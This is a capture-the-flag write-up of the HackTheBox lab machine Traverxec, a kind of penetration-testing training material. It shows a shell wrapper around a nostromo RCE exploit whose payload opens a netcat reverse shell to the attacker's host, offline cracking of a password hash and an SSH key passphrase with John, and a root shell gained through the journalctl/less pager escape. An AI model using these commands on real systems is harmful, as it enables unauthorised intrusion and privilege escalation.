HackTheBox - Traverxec

4 minute read

Summary

Traverxec
Difficulty: Easy
OS: Linux
Release date: 16-11-2019

Traverxec was an easy Linux machine that involved exploiting a RCE vulnerability in the nostromo 1.9.6 webserver, after which cracking a backed up ssh key granted user access. To get root i had to force journalctl to open the default pager (less), allowing me to spawn a root shell.

Foothold

An Nmap scan revealed that port 80 was open, and that the server was running Nostromo 1.9.6.

mick@kali:~/Documents/HackTheBox/Traverxec$ nmap -sC -sV -oN traverxec_scan 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 21:27 CET
Nmap scan report for 10.10.10.165 (10.10.10.165)
Host is up (0.018s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.11 seconds

A quick google search revealed that this version of nostromo has an identified RCE vulnerability.

I wrote up a small shell script for ease of use, that initiates a reverse shell connection on port 35354.

FILE=./traverxec_exploit.py
PORT=80
TARGET_IP="10.10.10.165"
MY_IP=$1
CMD="nc -e /bin/bash $MY_IP 35354"
if test -f "$FILE";
then #file exists
if test -z $MY_IP
then
echo "[Err] Please supply your ip as argument. ./traverxec_shell.sh <my_ip>
    "
    else #run exploit
    echo "[+] Executing exploit"
    echo "[+] Payload: $CMD"
    python $FILE $TARGET_IP $PORT "$CMD"
    fi
    else
    echo "[Err] $FILE does not exist. Please place the exploit file in your working directory"
    fi

After executing this script, I received a connection back.

mick@kali:~/Documents/HackTheBox/Traverxec$ nc -lvnp 35354
listening on [any] 35354 ...
connect to [10.10.15.137] from (UNKNOWN) [10.10.10.165] 50284
www-data@traverxec:/var/nostromo$

User access

Inside the folder ‘var/nostromo/conf’ on the system, I found a .htpasswd file.

www-data@traverxec:/var/nostromo/conf$ ls -la
ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 16:12 .
drwxr-xr-x 6 root root   4096 Oct 25 14:43 ..
-rw-r--r-- 1 root bin      41 Oct 25 15:20 .htpasswd
-rw-r--r-- 1 root bin     498 Oct 25 15:20 nhttpd.conf
-rw-r--r-- 1 root bin    2928 Oct 25 14:26 mimes

This file contained a username and a hash: david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/.

The ‘$1$’ in front of the hash means that this is an MD5 hash. This can then be cracked using John.

mick@kali:~/Documents/HackTheBox/Traverxec$ john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt david_hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:47 DONE (2020-02-01 22:26) 0.02098g/s 221956p/s 221956c/s 221956C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Unfortunately this password ‘Nowonly4me’ did not work for access through SSH. After some additional enumeration, however, I discovered a folder ‘protected-file-area’ in ‘david/public_www’.

www-data@traverxec:/home/david/public_www$ ls
index.html  protected-file-area
www-data@traverxec:/home/david/public_www$ cd protected-file-area
www-data@traverxec:/home/david/public_www/protected-file-area$ ls -la
ls -la
total 16
drwxr-xr-x 2 david david 4096 Oct 25 17:02 .
drwxr-xr-x 3 david david 4096 Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1915 Oct 25 17:02 backup-ssh-identity-files.tgz

The zip file probably contains the necessary private key for SSH access.

To download this zip file, I navigated to that folder in the browser and passed the authentication check with the password that was cracked earlier: ‘Nowonly4me’.

traverxec_webpage2.png

Unzipping the file revealed a private SSH key, as expected. After using ssh2john to convert the private SSH key to a format that John can crack, the password ‘hunter’ was cracked for this key.

mick@kali:~/Documents/HackTheBox/Traverxec$ john --wordlist=/usr/share/wordlists/rockyou.txt david_ssh2john.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (?)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-07 19:47) 0.1876g/s 2690Kp/s 2690Kc/s 2690KC/sa6_123..*7¡Vamos!
Session completed

This password provided access to the machine through SSH.

mick@kali:~/Documents/HackTheBox/Traverxec$ ssh [email protected] -i backup-ssh-identity-files/david/.ssh/id_rsa

david@traverxec:~$ ls
bin  public_www  user.txt

Root access

Inside david’s home folder I found a file /bin/server-stats.sh that contains the following:

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

What immediately seemed interesting to me here is the last line. A google search for ‘journalctl privilege escalation’ revealed a privilege escalation vector. From this page I learned that journalctl will invoke the default pager, which is usually ‘less’. Because journalctl’s output is piped to /usr/bin/cat it currently only displays the output on the screen. After removing /usr/bin/cat from the command and executing /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service, I did not see the output in ‘less’ weirdly enough. It appears that ‘less’ will only get activated if the terminal window screen width is smaller than the width of the longest line in the output. After resizing the terminal window I received the output in ‘less’. Typing !/bin/sh then gave me root access:

traverxec_root.jpg